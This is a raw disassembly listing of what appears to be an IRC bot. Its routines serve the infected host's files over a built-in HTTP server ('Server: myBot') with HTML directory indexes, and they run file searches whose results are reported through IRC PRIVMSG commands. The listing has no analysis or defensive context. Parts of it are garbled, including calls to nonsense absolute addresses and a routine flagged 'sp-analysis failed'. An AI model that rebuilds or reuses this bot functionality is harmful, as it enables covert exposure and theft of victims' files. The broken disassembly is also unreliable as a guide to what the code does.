		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_40F615
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41B886
		add	esp, 24h
		jmp	short loc_40F636
; ---------------------------------------------------------------------------


loc_40F615:				; CODE XREF: sub_40F531+C5j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41B886
		add	esp, 28h


loc_40F636:				; CODE XREF: sub_40F531+E2j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_4CB6A4
		cmp	[ebp+var_A4], edi
		jnz	short loc_40F676
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_40FFF1
		pop	ecx
		pop	ecx
		jmp	short loc_40F693
; ---------------------------------------------------------------------------


loc_40F676:				; CODE XREF: sub_40F531+12Dj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_40F96B
		add	esp, 10h


loc_40F693:				; CODE XREF: sub_40F531+143j
		push	[ebp+var_44C]
		call	dword_4CB6EC
		push	[ebp+var_B4]
		call	sub_40B413
		pop	ecx
		push	edi
		call	near ptr 26F08BFh
		nop
		pop	edi
		pop	esi
sub_40F531	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F6B4	proc near		; CODE XREF: sub_40F0D6+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_41B590
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_40F6EA
		push	eax
		push	offset aS_3	; "\\%s"
		jmp	short loc_40F6F3
; ---------------------------------------------------------------------------


loc_40F6EA:				; CODE XREF: sub_40F6B4+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"


loc_40F6F3:				; CODE XREF: sub_40F6B4+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_41AFE0
		test	eax, eax
		pop	ecx
		jbe	short loc_40F78E
		mov	[ebp+arg_8], 2


loc_40F71E:				; CODE XREF: sub_40F6B4+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_40F75E
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_40F75E
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_40F75E
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_40F75E
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_40F778
; ---------------------------------------------------------------------------


loc_40F75E:				; CODE XREF: sub_40F6B4+7Aj
					; sub_40F6B4+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_40F76E
		push	5Ch
		pop	eax
		jmp	short loc_40F771
; ---------------------------------------------------------------------------


loc_40F76E:				; CODE XREF: sub_40F6B4+B3j
		movsx	eax, al


loc_40F771:				; CODE XREF: sub_40F6B4+B8j
		mov	[ebp+ebx+var_210], al


loc_40F778:				; CODE XREF: sub_40F6B4+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_41AFE0
		cmp	esi, eax
		pop	ecx
		jb	short loc_40F71E


loc_40F78E:				; CODE XREF: sub_40F6B4+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset dword_429ACC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_314]
		push	offset asc_42A0A0 ; "\n"
		push	eax
		call	sub_41C0F4
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		call	near ptr 26A0ED2h
		nop
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_40F7DF
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F7E2
		push	[ebp+arg_0]
		jmp	loc_40F862
; ---------------------------------------------------------------------------


loc_40F7DF:				; CODE XREF: sub_40F6B4+11Cj
		mov	[ebp+var_4], esi


loc_40F7E2:				; CODE XREF: sub_40F6B4+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_40F7EF
		mov	[ebp+var_4], esi


loc_40F7EF:				; CODE XREF: sub_40F6B4+136j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_40F86D
		cmp	[ebp+arg_C], edi
		jz	short loc_40F861
		lea	eax, [ebp+var_314]
		push	offset asc_4341A0 ; "*"
		push	eax
		call	sub_41BEC0
		pop	ecx
		lea	eax, [ebp+var_314]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4100AE
		add	esp, 0Ch
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_41B886
		or	[ebp+var_330], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+var_31C], esi
		jmp	short loc_40F8BC
; ---------------------------------------------------------------------------


loc_40F861:				; CODE XREF: sub_40F6B4+152j
		push	ebx


loc_40F862:				; CODE XREF: sub_40F6B4+126j
		call	dword_4CB6EC
		jmp	loc_40F964
; ---------------------------------------------------------------------------


loc_40F86D:				; CODE XREF: sub_40F6B4+14Dj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		nop
		call	near ptr 2710A6Ah
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40F8BC
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41B886
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		nop
		call	near ptr 2750000h
		push	esi
		mov	[ebp+var_330], eax
		call	near ptr 2680920h
		nop


loc_40F8BC:				; CODE XREF: sub_40F6B4+1ABj
					; sub_40F6B4+1D6j
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_43416C
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_40B0F7
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_43E594[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_40F531
		push	edi
		push	edi
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40F936


loc_40F924:				; CODE XREF: sub_40F6B4+280j
		cmp	[ebp+var_318], edi
		jnz	short loc_40F964
		push	5
		nop
		call	near ptr 2690F24h
		jmp	short loc_40F924
; ---------------------------------------------------------------------------


loc_40F936:				; CODE XREF: sub_40F6B4+26Ej
		push	ebx
		call	dword_4CB6EC
		call	near ptr 26A08EAh
		nop
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_434134
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_4151AD
		add	esp, 10h


loc_40F964:				; CODE XREF: sub_40F6B4+1B4j
					; sub_40F6B4+276j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F6B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F96B	proc near		; CODE XREF: sub_401ACD+777Bp
					; sub_40F531+15Ap

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_41B590
		mov	edi, [ebp+arg_0]
		push	offset asc_42A0A0 ; "\n"
		push	edi
		call	sub_41C0F4
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_40F9CA
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	loc_40FAC9
; ---------------------------------------------------------------------------


loc_40F9CA:				; CODE XREF: sub_40F96B+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_40FAAF
		call	sub_41AFE0
		pop	ecx
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		push	edi
		call	sub_41AFE0
		pop	ecx
		mov	byte ptr [eax+edi], 2Ah
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 18h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_40FAC9
; ---------------------------------------------------------------------------


loc_40FAAF:				; CODE XREF: sub_40F96B+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h


loc_40FAC9:				; CODE XREF: sub_40F96B+5Aj
					; sub_40F96B+142j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		cmp	[ebp+arg_C], ebx
		jz	short loc_40FB64
		push	[ebp+arg_C]
		call	sub_41AFE0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_40FB64
		push	[ebp+arg_C]
		call	sub_41AFE0
		sub	eax, 3
		pop	ecx
		jz	short loc_40FB15


loc_40FB09:				; CODE XREF: sub_40F96B+1A8j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_40FB15
		dec	eax
		jnz	short loc_40FB09


loc_40FB15:				; CODE XREF: sub_40F96B+19Cj
					; sub_40F96B+1A5j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4


loc_40FB64:				; CODE XREF: sub_40F96B+180j
					; sub_40F96B+18Ej
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		call	near ptr 25E0000h
		nop
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		nop
		call	near ptr 2770000h
		test	eax, eax
		jz	loc_40FF54
		mov	edi, 1FFh


loc_40FB90:				; CODE XREF: sub_40F96B+5E3j
		cmp	[ebp+var_388], ebx
		jz	loc_40FF3C
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FF3C
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FF3C
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		call	near ptr 27606A6h
		nop
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 2760000h
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_40FC05
		mov	ecx, offset aAm	; "AM"


loc_40FC05:				; CODE XREF: sub_40F96B+293j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_40FC11
		sub	eax, 0Ch


loc_40FC11:				; CODE XREF: sub_40F96B+2A1j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_41B886
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_40FDB4
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FC85
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		jmp	loc_40FEFD
; ---------------------------------------------------------------------------


loc_40FC85:				; CODE XREF: sub_40F96B+2E0j
		cmp	[ebp+arg_C], ebx
		jz	loc_40FD6F
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_0	; "%s%s/"
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41AFE0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40FD25
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_40FD2A
; ---------------------------------------------------------------------------


loc_40FD25:				; CODE XREF: sub_40F96B+3B1j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_40FD2A:				; CODE XREF: sub_40F96B+3B8j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FEFE
; ---------------------------------------------------------------------------


loc_40FD6F:				; CODE XREF: sub_40F96B+31Dj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	loc_40FF0D
; ---------------------------------------------------------------------------


loc_40FDB4:				; CODE XREF: sub_40F96B+2D4j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FDF3
		push	ebx
		push	[ebp+var_368]
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		push	esi


loc_40FDDF:				; CODE XREF: sub_40F96B+577j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		jmp	loc_40FF0D
; ---------------------------------------------------------------------------


loc_40FDF3:				; CODE XREF: sub_40F96B+44Fj
		cmp	[ebp+arg_C], ebx
		jz	loc_40FEE7
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset dword_429ACC
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41AFE0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40FE93
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_40FE98
; ---------------------------------------------------------------------------


loc_40FE93:				; CODE XREF: sub_40F96B+51Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_40FE98:				; CODE XREF: sub_40F96B+526j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FDDF
; ---------------------------------------------------------------------------


loc_40FEE7:				; CODE XREF: sub_40F96B+48Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"


loc_40FEFD:				; CODE XREF: sub_40F96B+315j
		push	esi


loc_40FEFE:				; CODE XREF: sub_40F96B+3FFj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B980
		add	esp, 18h


loc_40FF0D:				; CODE XREF: sub_40F96B+444j
					; sub_40F96B+483j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FF3C
		push	7D0h
		nop
		call	near ptr 2690F24h


loc_40FF3C:				; CODE XREF: sub_40F96B+22Bj
					; sub_40F96B+246j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 2770000h
		test	eax, eax
		jnz	loc_40FB90


loc_40FF54:				; CODE XREF: sub_40F96B+21Aj
		push	[ebp+arg_0]
		nop
		call	near ptr 27504DCh
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FF97
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_40FFCB
; ---------------------------------------------------------------------------


loc_40FF97:				; CODE XREF: sub_40F96B+5F5j
		cmp	[ebp+arg_C], ebx
		jz	short loc_40FFB1
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_40FFCB
; ---------------------------------------------------------------------------


loc_40FFB1:				; CODE XREF: sub_40F96B+62Fj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_41B886
		add	esp, 10h


loc_40FFCB:				; CODE XREF: sub_40F96B+62Aj
					; sub_40F96B+644j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F96B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FFF1	proc near		; CODE XREF: sub_40F531+13Cp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		nop
		call	near ptr 2710A6Ah
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4100A9
		push	esi
		push	ebx
		nop
		call	near ptr 2750000h
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_4100A2


loc_410036:				; CODE XREF: sub_40FFF1+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch


loc_41004B:				; DATA XREF: ___:00438128o
		cmp	edi, [ebp+arg_4]


loc_41004E:				; DATA XREF: ___:0043813Co
		jbe	short loc_410053
		mov	edi, [ebp+arg_4]


loc_410053:				; CODE XREF: sub_40FFF1:loc_41004Ej
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 2780000h
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 27102B0h
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41009D
		call	dword_4CB5E8
		cmp	eax, 2733h
		jnz	short loc_4100A2
		xor	eax, eax


loc_41009D:				; CODE XREF: sub_40FFF1+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_410036


loc_4100A2:				; CODE XREF: sub_40FFF1+43j
					; sub_40FFF1+A8j
		push	ebx
		nop
		call	near ptr 2680920h


loc_4100A9:				; CODE XREF: sub_40FFF1+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40FFF1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4100AE	proc near		; CODE XREF: sub_40F6B4+181p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_41AFE0
		test	eax, eax
		pop	ecx
		jbe	short loc_4100D7


loc_4100C1:				; CODE XREF: sub_4100AE+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_4100CB
		mov	byte ptr [esi+edi], 2Fh


loc_4100CB:				; CODE XREF: sub_4100AE+17j
		push	edi
		inc	esi
		call	sub_41AFE0
		cmp	esi, eax
		pop	ecx
		jb	short loc_4100C1


loc_4100D7:				; CODE XREF: sub_4100AE+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4100AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4100DC	proc near		; CODE XREF: sub_401ACD+5298p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_4CB5C4
		push	6
		push	1
		push	2
		call	dword_4CB6D4
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_4CB654
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40AAFA
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB5FC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4101B9
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_410155
		mov	eax, offset dword_43D808


loc_410155:				; CODE XREF: sub_4100DC+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
